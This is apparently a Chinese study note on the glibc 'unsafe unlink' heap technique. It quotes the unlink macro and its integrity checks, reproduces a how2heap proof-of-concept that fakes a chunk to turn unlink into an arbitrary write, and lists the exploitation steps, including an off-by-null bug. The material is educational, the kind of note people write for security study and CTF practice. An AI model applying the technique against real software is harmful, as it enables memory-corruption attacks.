unlink来喽!刚开始看的时候有点摸不着头脑,理顺了还是挺形象的(ง •_•)ง
原理
unlink实际上是一个宏,用于从双链中摘下chunk
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| #define unlink(AV, P, BK, FD) { \ FD = P->fd; \ BK = P->bk; \ if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV); \ else { \ FD->bk = BK; \ BK->fd = FD; \ if (!in_smallbin_range (P->size) \ && __builtin_expect (P->fd_nextsize != NULL, 0)) { \ if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \ || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \ malloc_printerr (check_action, \ "corrupted double-linked list (not small)", \ P, AV); \ if (FD->fd_nextsize == NULL) { \ if (P->fd_nextsize == P) \ FD->fd_nextsize = FD->bk_nextsize = FD; \ else { \ FD->fd_nextsize = P->fd_nextsize; \ FD->bk_nextsize = P->bk_nextsize; \ P->fd_nextsize->bk_nextsize = FD; \ P->bk_nextsize->fd_nextsize = FD; \ } \ } else { \ P->fd_nextsize->bk_nextsize = P->bk_nextsize; \ P->bk_nextsize->fd_nextsize = P->fd_nextsize; \ } \ } \ } \ }
|
摘下chunk的过程可如图所示:
简化一下其实就是
1 2 3 4
| FD=victim->fd BK=victim->bk FD->bk=BK BK->fd=FD
|
这个过程中会检查
1
| FD->bk != P || BK->fd != P
|
2.26unlink开头增加了对nextchunk的presize和size的检查
1 2 3 4 5 6 7 8 9 10
| #define unlink(AV, P, BK, FD) { \
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \ malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV); \ FD = P->fd; \ BK = P->bk; \
……
}
|
利用
实验代码如下(来自how2heap,删除了一些输出):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <assert.h>
uint64_t *chunk0_ptr;
int main() { setbuf(stdout, NULL);
int malloc_size = 0x80; int header_size = 2;
chunk0_ptr = (uint64_t*) malloc(malloc_size); uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size);
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3); chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
chunk1_hdr[0] = malloc_size;
chunk1_hdr[1] &= ~1;
free(chunk1_ptr);
char victim_string[8]; strcpy(victim_string,"Hello!~"); chunk0_ptr[3] = (uint64_t) victim_string;
chunk0_ptr[0] = 0x4141414142424242LL; printf("New Value: %s\n",victim_string);
assert(*(long *)victim_string == 0x4141414142424242L); }
|
利用步骤如下:
- 连续malloc两个unsorted bin范围内的chunk(2.26以上大小需要在tcache之外),chunk0和chunk1
- 在chunk0内伪造fake chunk
- 修改chunk1的presize和size的inuse位(可以通过of by null漏洞(或者fastbin_dup_consolidate)+申请大小0x8结尾的chunk实现(使用next chunk的presize部分))
- free(chunk1)触发chunk0的向上合并,触发unlink摘除chunk0
- 最后的结果就是指向chunk0的指针现在指向指针地址-0x18的地址,这样我们就可以通过覆盖指向chunk0指针指向别的地方并且改写那里的内容
例题
见fastbin dup consolidate